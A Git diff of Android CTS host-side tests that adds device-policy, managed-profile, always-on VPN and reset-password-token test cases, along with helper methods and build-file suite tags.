+ * android.os.BatteryManager#BATTERY_PLUGGED_WIRELESS}.
+ */
+ private static final int STAY_ON_WHILE_PLUGGED_IN_FLAGS = 7;
+
protected static interface Settings {
public static final String GLOBAL_NAMESPACE = "global";
public static interface Global {
@@ -126,7 +135,7 @@
"settings get global package_verifier_enable");
getDevice().executeShellCommand("settings put global package_verifier_enable 0");
- mFixedUsers = new ArrayList();
+ mFixedUsers = new ArrayList<>();
mPrimaryUserId = getPrimaryUser();
mFixedUsers.add(mPrimaryUserId);
if (mPrimaryUserId != USER_SYSTEM) {
@@ -137,6 +146,9 @@
removeTestUsers();
// Unlock keyguard before test
wakeupAndDismissKeyguard();
+ stayAwake();
+ // Go to home.
+ executeShellCommand("input keyevent KEYCODE_HOME");
}
@Override
@@ -235,8 +247,22 @@
+ getDevice().executeShellCommand(stopUserCommand));
}
- private void waitForBroadcastIdle() throws Exception {
- getDevice().executeShellCommand("am wait-for-broadcast-idle");
+ private void waitForBroadcastIdle() throws DeviceNotAvailableException {
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ // we allow 8min for the command to complete and 4min for the command to start to
+ // output something
+ getDevice().executeShellCommand(
+ "am wait-for-broadcast-idle", receiver, 8, 4, TimeUnit.MINUTES, 0);
+ } finally {
+ String output = receiver.getOutput();
+ CLog.d("Output from 'am wait-for-broadcast-idle': %s", output);
+ if (!output.contains("All broadcast queues are idle!")) {
+ // the call most likely failed we should fail the test
+ fail("'am wait-for-broadcase-idle' did not complete.");
+ // TODO: consider adding a reboot or recovery before failing if necessary
+ }
+ }
}
protected void removeUser(int userId) throws Exception {
@@ -769,8 +795,30 @@
}
}
+ /**
+ * Verifies the lock credential for the given user, which unlocks the user.
+ *
+ * @param credential The credential to verify.
+ * @param userId The id of the user.
+ */
+ protected void verifyUserCredential(String credential, int userId)
+ throws DeviceNotAvailableException {
+ final String credentialArgument = (credential == null || credential.isEmpty())
+ ? "" : ("--old " + credential);
+ String commandOutput = getDevice().executeShellCommand(String.format(
+ "cmd lock_settings verify --user %d %s", userId, credentialArgument));
+ if (!commandOutput.startsWith("Lock credential verified")) {
+ fail("Failed to verify user credential: " + commandOutput);
+ }
+ }
+
protected void wakeupAndDismissKeyguard() throws Exception {
executeShellCommand("input keyevent KEYCODE_WAKEUP");
executeShellCommand("wm dismiss-keyguard");
}
+
+ private void stayAwake() throws Exception {
+ executeShellCommand(
+ "settings put global stay_on_while_plugged_in " + STAY_ON_WHILE_PLUGGED_IN_FLAGS);
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 9a2224e..d5aadd0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -26,7 +26,9 @@
import java.io.FileNotFoundException;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.Collections;
import java.util.List;
+import java.util.Map;
/**
* Set of tests for use cases that apply to profile and device owner.
@@ -67,6 +69,9 @@
private static final String DELEGATION_CERT_INSTALL = "delegation-cert-install";
private static final String DELEGATION_APP_RESTRICTIONS = "delegation-app-restrictions";
private static final String DELEGATION_BLOCK_UNINSTALL = "delegation-block-uninstall";
+ private static final String DELEGATION_PERMISSION_GRANT = "delegation-permission-grant";
+ private static final String DELEGATION_PACKAGE_ACCESS = "delegation-package-access";
+ private static final String DELEGATION_ENABLE_SYSTEM_APP = "delegation-enable-system-app";
private static final String TEST_APP_APK = "CtsSimpleApp.apk";
private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
@@ -81,6 +86,9 @@
private static final String VPN_APP_PKG = "com.android.cts.vpnfirewall";
private static final String VPN_APP_APK = "CtsVpnFirewallApp.apk";
+ private static final String VPN_APP_API23_APK = "CtsVpnFirewallAppApi23.apk";
+ private static final String VPN_APP_API24_APK = "CtsVpnFirewallAppApi24.apk";
+ private static final String VPN_APP_NOT_ALWAYS_ON_APK = "CtsVpnFirewallAppNotAlwaysOn.apk";
private static final String COMMAND_BLOCK_ACCOUNT_TYPE = "block-accounttype";
private static final String COMMAND_UNBLOCK_ACCOUNT_TYPE = "unblock-accounttype";
@@ -105,6 +113,15 @@
protected static final String ASSIST_INTERACTION_SERVICE =
ASSIST_APP_PKG + "/.MyInteractionService";
+ private static final String ARG_ALLOW_FAILURE = "allowFailure";
+
+ private static final String RESTRICT_BACKGROUND_GET_CMD =
+ "cmd netpolicy get restrict-background";
+ private static final String RESTRICT_BACKGROUND_ON_CMD =
+ "cmd netpolicy set restrict-background true";
+ private static final String RESTRICT_BACKGROUND_OFF_CMD =
+ "cmd netpolicy set restrict-background false";
+
// ID of the user all tests are run as. For device owner this will be the primary user, for
// profile owner it is the user id of the created profile.
protected int mUserId;
@@ -120,6 +137,9 @@
getDevice().uninstallPackage(DELEGATE_APP_PKG);
getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
getDevice().uninstallPackage(VPN_APP_PKG);
+ getDevice().uninstallPackage(VPN_APP_API23_APK);
+ getDevice().uninstallPackage(VPN_APP_API24_APK);
+ getDevice().uninstallPackage(VPN_APP_NOT_ALWAYS_ON_APK);
getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
getDevice().uninstallPackage(INTENT_SENDER_PKG);
getDevice().uninstallPackage(CUSTOMIZATION_APP_PKG);
@@ -189,7 +209,10 @@
final String delegationTests[] = {
".AppRestrictionsDelegateTest",
".CertInstallDelegateTest",
- ".BlockUninstallDelegateTest"
+ ".BlockUninstallDelegateTest",
+ ".PermissionGrantDelegateTest",
+ ".PackageAccessDelegateTest",
+ ".EnableSystemAppDelegateTest"
};
// Set a device lockscreen password (precondition for installing private key pairs).
@@ -208,7 +231,10 @@
setDelegatedScopes(DELEGATE_APP_PKG, Arrays.asList(
DELEGATION_APP_RESTRICTIONS,
DELEGATION_CERT_INSTALL,
- DELEGATION_BLOCK_UNINSTALL));
+ DELEGATION_BLOCK_UNINSTALL,
+ DELEGATION_PERMISSION_GRANT,
+ DELEGATION_PACKAGE_ACCESS,
+ DELEGATION_ENABLE_SYSTEM_APP));
runDeviceTestsAsUser(DELEGATE_APP_PKG, ".GeneralDelegateTest", mUserId);
executeDelegationTests(delegationTests, true /* positive result */);
@@ -220,7 +246,7 @@
executeDeviceTestClass(".DelegationTest");
} finally {
- // Clear lockscreen password previously set for installing private key pairs (DO only).
+ // Clear lockscreen password previously set for installing private key pairs.
changeUserCredential(null, "1234", mPrimaryUserId);
// Remove any remaining delegations.
setDelegatedScopes(DELEGATE_APP_PKG, null);
@@ -249,7 +275,7 @@
return;
}
installAppAsUser(VPN_APP_APK, mUserId);
- executeDeviceTestClass(".AlwaysOnVpnTest");
+ executeDeviceTestClassNoRestrictBackground(".AlwaysOnVpnTest");
}
@RequiresDevice
@@ -269,6 +295,32 @@
}
@RequiresDevice
+ public void testAlwaysOnVpnAcrossReboot() throws Exception {
+ // Note: Always-on VPN is supported on non-FBE devices as well, and the behavior should be
+ // the same. However we're only testing the FBE case here as we need to set a device
+ // password during the test. This would cause FDE devices (e.g. angler) to prompt for the
+ // password during reboot, which we can't handle easily.
+ if (!mHasFeature || !mSupportsFbe) {
+ return;
+ }
+
+ // Set a password to encrypt the user
+ final String testPassword = "1234";
+ changeUserCredential(testPassword, null /*oldCredential*/, mUserId);
+
+ try {
+ installAppAsUser(VPN_APP_APK, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet");
+ rebootAndWaitUntilReady();
+ verifyUserCredential(testPassword, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSetAfterReboot");
+ } finally {
+ changeUserCredential(null /*newCredential*/, testPassword, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testCleanup");
+ }
+ }
+
+ @RequiresDevice
public void testAlwaysOnVpnPackageUninstalled() throws Exception {
if (!mHasFeature) {
return;
@@ -285,6 +337,49 @@
}
}
+ @RequiresDevice
+ public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ try {
+ // Target SDK = 23: unsupported
+ installAppAsUser(VPN_APP_API23_APK, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetUnsupportedVpnAlwaysOn");
+
+ // Target SDK = 24: supported
+ installAppAsUser(VPN_APP_API24_APK, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn");
+
+ // Explicit opt-out: unsupported
+ installAppAsUser(VPN_APP_NOT_ALWAYS_ON_APK, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetUnsupportedVpnAlwaysOn");
+ } finally {
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn");
+ }
+ }
+
+ @RequiresDevice
+ public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ try {
+ // Target SDK = 24: supported
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testAssertNoAlwaysOnVpn");
+ installAppAsUser(VPN_APP_API24_APK, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+ // Update the app to target higher API level, but with manifest opt-out
+ installAppAsUser(VPN_APP_NOT_ALWAYS_ON_APK, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testAssertNoAlwaysOnVpn");
+ } finally {
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn");
+ }
+ }
+
public void testPermissionPolicy() throws Exception {
if (!mHasFeature) {
return;
@@ -712,13 +807,41 @@
// This is the default test for MixedDeviceOwnerTest and MixedProfileOwnerTest,
// MixedManagedProfileOwnerTest overrides this method to execute the same test more strictly
// without allowing failures.
- executeDeviceTestMethod(".ResetPasswordWithTokenTest", "testResetPasswordWithTokenMayFail");
+ executeResetPasswordWithTokenTests(true);
+ }
+
+ public void testPasswordSufficientInitially() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ executeDeviceTestClass(".PasswordSufficientInitiallyTest");
+ }
+
+ protected void executeResetPasswordWithTokenTests(Boolean allowFailures) throws Exception {
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ResetPasswordWithTokenTest", null, mUserId,
+ Collections.singletonMap(ARG_ALLOW_FAILURE, Boolean.toString(allowFailures)));
}
protected void executeDeviceTestClass(String className) throws Exception {
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
}
+ /**
+ * Executes a test class on device. Prior to running, turn off background data usage
+ * restrictions, and restore the original restrictions after the test.
+ */
+ protected void executeDeviceTestClassNoRestrictBackground(String className) throws Exception {
+ boolean originalRestriction = ensureRestrictBackgroundPolicyOff();
+ try {
+ executeDeviceTestClass(className);
+ } catch (Exception e) {
+ throw e;
+ } finally {
+ // if the test throws exception, still restore the policy
+ restoreRestrictBackgroundPolicyTo(originalRestriction);
+ }
+ }
+
protected void executeDeviceTestMethod(String className, String testName) throws Exception {
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId);
}
@@ -896,4 +1019,22 @@
protected void clearVoiceInteractionService() throws DeviceNotAvailableException {
getDevice().executeShellCommand("settings delete secure voice_interaction_service");
}
+
+ /**
+ * Ensure that restrict background policy is off.
+ * Returns the original status of restrict background policy.
+ */
+ private boolean ensureRestrictBackgroundPolicyOff() throws Exception {
+ String restriction = getDevice().executeShellCommand(RESTRICT_BACKGROUND_GET_CMD);
+ if (restriction.contains("enabled")) {
+ getDevice().executeShellCommand(RESTRICT_BACKGROUND_OFF_CMD);
+ return true;
+ }
+ return false;
+ }
+
+ private void restoreRestrictBackgroundPolicyTo(boolean restricted) throws Exception {
+ getDevice().executeShellCommand(
+ restricted ? RESTRICT_BACKGROUND_ON_CMD : RESTRICT_BACKGROUND_OFF_CMD);
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 827db71..7a07d7c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -374,6 +374,35 @@
}
}
+ public void testLockTaskAfterReboot_deviceOwnerUser() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ try {
+ // Just start kiosk mode
+ runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest", "startLockTask",
+ mPrimaryUserId);
+
+ // Reboot while in kiosk mode and then unlock the device
+ getDevice().reboot();
+
+ // Check that kiosk mode is working and can't be interrupted
+ runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
+ "testLockTaskIsActiveAndCantBeInterrupted", mPrimaryUserId);
+
+ // Try to open settings via adb
+ executeShellCommand("am start -a android.settings.SETTINGS");
+
+ // Check again
+ runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
+ "testLockTaskIsActiveAndCantBeInterrupted", mPrimaryUserId);
+ } finally {
+ runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
+ "clearDefaultHomeIntentReceiver", mPrimaryUserId);
+ }
+ }
+
public void testLockTask_unaffiliatedUser() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
@@ -411,6 +440,7 @@
setProfileOwnerOrFail(DEVICE_OWNER_COMPONENT, userId);
switchUser(userId);
+ wakeupAndDismissKeyguard();
// Setting the same affiliation ids on both users and running the lock task tests.
runDeviceTestsAsUser(
@@ -578,4 +608,4 @@
runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName,
/* deviceOwnerUserId */ mPrimaryUserId);
}
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
new file mode 100644
index 0000000..ef7099b
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.cts.devicepolicy;
+
+import org.junit.Test;
+
+/**
+ * This class tests the provisioning flow with an APK that declares a single receiver with
+ * BIND_DEVICE_ADMIN permissions, which was a requirement for the app sending the
+ * ACTION_PROVISION_MANAGED_PROFILE intent before Android M.
+ */
+public class ManagedProfileProvisioningSingleAdminTest extends BaseDevicePolicyTest {
+
+ private static final String SINGLE_ADMIN_PKG = "com.android.cts.devicepolicy.singleadmin";
+ private static final String SINGLE_ADMIN_APP_APK = "CtsDevicePolicySingleAdminTestApp.apk";
+
+ private int mProfileUserId;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ // We need multi user to be supported in order to create a profile of the user owner.
+ mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
+
+ if (mHasFeature) {
+ removeTestUsers();
+ installAppAsUser(SINGLE_ADMIN_APP_APK, mPrimaryUserId);
+ mProfileUserId = 0;
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ if (mHasFeature) {
+ if (mProfileUserId != 0) {
+ removeUser(mProfileUserId);
+ }
+ getDevice().uninstallPackage(SINGLE_ADMIN_PKG);
+ }
+ super.tearDown();
+ }
+
+ @Test
+ public void testEXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ runDeviceTestsAsUser(SINGLE_ADMIN_PKG, ".ProvisioningSingleAdminTest",
+ "testManagedProfileProvisioning", mPrimaryUserId);
+
+ mProfileUserId = getFirstManagedProfileUserId();
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 26da677..157c59c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -22,6 +22,7 @@
import junit.framework.AssertionFailedError;
+import java.util.Collections;
import java.util.concurrent.Callable;
import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
@@ -61,6 +62,12 @@
= "content://com.android.cts.contact.directory.provider/";
private static final String SET_CUSTOM_DIRECTORY_PREFIX_METHOD = "set_prefix";
+ private static final String NOTIFICATION_APK = "CtsNotificationSenderApp.apk";
+ private static final String NOTIFICATION_PKG =
+ "com.android.cts.managedprofiletests.notificationsender";
+ private static final String NOTIFICATION_ACTIVITY =
+ NOTIFICATION_PKG + ".SendNotification";
+
private static final String ADMIN_RECEIVER_TEST_CLASS =
MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
@@ -73,7 +80,12 @@
private static final String SIMPLE_APP_APK = "CtsSimpleApp.apk";
private static final String SIMPLE_APP_PKG = "com.android.cts.launcherapps.simpleapp";
- private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.SECONDS.toMillis(15);
+ private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.SECONDS.toMillis(30);
+
+ private static final String PARAM_PROFILE_ID = "profile-id";
+
+ // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
+ private static final String RESET_PASSWORD_TEST_DEFAULT_PASSWORD = "123456";
private int mParentUserId;
@@ -112,6 +124,7 @@
getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
getDevice().uninstallPackage(INTENT_SENDER_PKG);
getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
+ getDevice().uninstallPackage(NOTIFICATION_PKG);
}
super.tearDown();
}
@@ -147,6 +160,10 @@
changeUserCredential("1234", null, mProfileUserId);
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".LockNowTest",
"testLockNowWithKeyEviction", mProfileUserId);
+ waitUntilProfileLocked();
+ }
+
+ private void waitUntilProfileLocked() throws Exception {
final String cmd = "dumpsys activity | grep 'User #" + mProfileUserId + ": state='";
final Pattern p = Pattern.compile("state=([\\p{Upper}_]+)$");
SuccessCondition userLocked = () -> {
@@ -353,6 +370,60 @@
}
+ public void testCrossProfileNotificationListeners_EmptyWhitelist() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ installAppAsUser(NOTIFICATION_APK, mProfileUserId);
+ installAppAsUser(NOTIFICATION_APK, mParentUserId);
+
+ // Profile owner in the profile sets an empty whitelist
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testSetEmptyWhitelist", mProfileUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ // Listener outside the profile can only see personal notifications.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testCannotReceiveProfileNotifications", mParentUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ }
+
+ public void testCrossProfileNotificationListeners_NullWhitelist() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ installAppAsUser(NOTIFICATION_APK, mProfileUserId);
+ installAppAsUser(NOTIFICATION_APK, mParentUserId);
+
+ // Profile owner in the profile sets a null whitelist
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testSetNullWhitelist", mProfileUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ // Listener outside the profile can see profile and personal notifications
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testCanReceiveNotifications", mParentUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ }
+
+ public void testCrossProfileNotificationListeners_InWhitelist() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ installAppAsUser(NOTIFICATION_APK, mProfileUserId);
+ installAppAsUser(NOTIFICATION_APK, mParentUserId);
+
+ // Profile owner in the profile adds listener to the whitelist
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testAddListenerToWhitelist", mProfileUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ // Listener outside the profile can see profile and personal notifications
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testCanReceiveNotifications", mParentUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ }
+
public void testCrossProfileCopyPaste() throws Exception {
if (!mHasFeature) {
return;
@@ -767,6 +838,9 @@
if (!shouldRunTelecomTest()) {
return;
}
+ getDevice().setSetting(
+ mProfileUserId, "secure", "dialer_default_application", MANAGED_PROFILE_PKG);
+
// Place a outgoing call through work phone account using TelecomManager and verify the
// call is inserted properly.
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
@@ -796,6 +870,16 @@
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
"testEnsureCallNotInserted",
mParentUserId);
+
+ // Add an incoming missed call with parent user's phone account and verify the call is
+ // inserted properly.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+ "testIncomingMissedCall",
+ mProfileUserId);
+ // Make sure the call is not inserted into parent user.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+ "testEnsureCallNotInserted",
+ mParentUserId);
}
private void givePackageWriteSettingsPermission(int userId, String pkg) throws Exception {
@@ -895,6 +979,55 @@
"testOppDisabledWhenRestrictionSet", mProfileUserId);
}
+ public void testResetPasswordWithTokenBeforeUnlock() throws Exception {
+ if (!mHasFeature || !mSupportsFbe) {
+ return;
+ }
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testSetupWorkProfileAndLock", mProfileUserId);
+ waitUntilProfileLocked();
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testResetPasswordBeforeUnlock", mProfileUserId);
+ // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
+ verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
+ }
+
+ /**
+ * Test password reset token is still functional after the primary user clears and
+ * re-adds back its device lock. This is to detect a regression where the work profile
+ * undergoes an untrusted credential reset (causing synthetic password to change, invalidating
+ * existing password reset token) if it has unified work challenge and the primary user clears
+ * the device lock.
+ */
+ public void testResetPasswordTokenUsableAfterClearingLock() throws Exception {
+ if (!mHasFeature || !mSupportsFbe) {
+ return;
+ }
+ final String devicePassword = "1234";
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testSetResetPasswordToken", mProfileUserId);
+ try {
+ changeUserCredential(devicePassword, null, mParentUserId);
+ changeUserCredential(null, devicePassword, mParentUserId);
+ changeUserCredential(devicePassword, null, mParentUserId);
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testLockWorkProfile", mProfileUserId);
+ waitUntilProfileLocked();
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testResetPasswordBeforeUnlock", mProfileUserId);
+ verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
+ } finally {
+ changeUserCredential(null, devicePassword, mParentUserId);
+ // Cycle the device screen to flush stale password information from keyguard,
+ // otherwise it will still ask for the non-existent password.
+ executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ executeShellCommand("input keyevent KEYCODE_SLEEP");
+ }
+ }
+
private void disableActivityForUser(String activityName, int userId)
throws DeviceNotAvailableException {
String command = "am start -W --user " + userId
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 7c82e16..6cedba5 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -119,24 +119,42 @@
// and profile owners on the primary user.
}
- /**
- * Don't require a device for tests that use the network stack on secondary users.
- */
+ /** VPN tests don't require physical device for managed profile, thus overriding. */
@Override
public void testAlwaysOnVpn() throws Exception {
super.testAlwaysOnVpn();
}
+ /** VPN tests don't require physical device for managed profile, thus overriding. */
@Override
public void testAlwaysOnVpnLockDown() throws Exception {
super.testAlwaysOnVpnLockDown();
}
+ /** VPN tests don't require physical device for managed profile, thus overriding. */
+ @Override
+ public void testAlwaysOnVpnAcrossReboot() throws Exception {
+ super.testAlwaysOnVpnAcrossReboot();
+ }
+
+ /** VPN tests don't require physical device for managed profile, thus overriding. */
@Override
public void testAlwaysOnVpnPackageUninstalled() throws Exception {
super.testAlwaysOnVpnPackageUninstalled();
}
+ /** VPN tests don't require physical device for managed profile, thus overriding. */
+ @Override
+ public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
+ super.testAlwaysOnVpnUnsupportedPackage();
+ }
+
+ /** VPN tests don't require physical device for managed profile, thus overriding. */
+ @Override
+ public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
+ super.testAlwaysOnVpnUnsupportedPackageReplaced();
+ }
+
@Override
public void testResetPasswordWithToken() throws Exception {
if (!mHasFeature) {
@@ -145,6 +163,6 @@
// Execute the test method that's guaranteed to succeed. See also test in base class
// which are tolerant to failure and executed by MixedDeviceOwnerTest and
// MixedProfileOwnerTest
- executeDeviceTestMethod(".ResetPasswordWithTokenTest", "testResetPasswordWithToken");
+ executeResetPasswordWithTokenTests(false);
}
}
diff --git a/hostsidetests/dumpsys/Android.mk b/hostsidetests/dumpsys/Android.mk
index 8a3470f..d15996c 100644
--- a/hostsidetests/dumpsys/Android.mk
+++ b/hostsidetests/dumpsys/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.dumpsys
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
index b11a57b..ff34e63 100644
--- a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
@@ -26,6 +26,6 @@
LOCAL_PACKAGE_NAME := CtsFramestatsTestApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
index dc9e4c9..3f7bd08 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := cts-junit
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
index 1691103..9b2e198 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
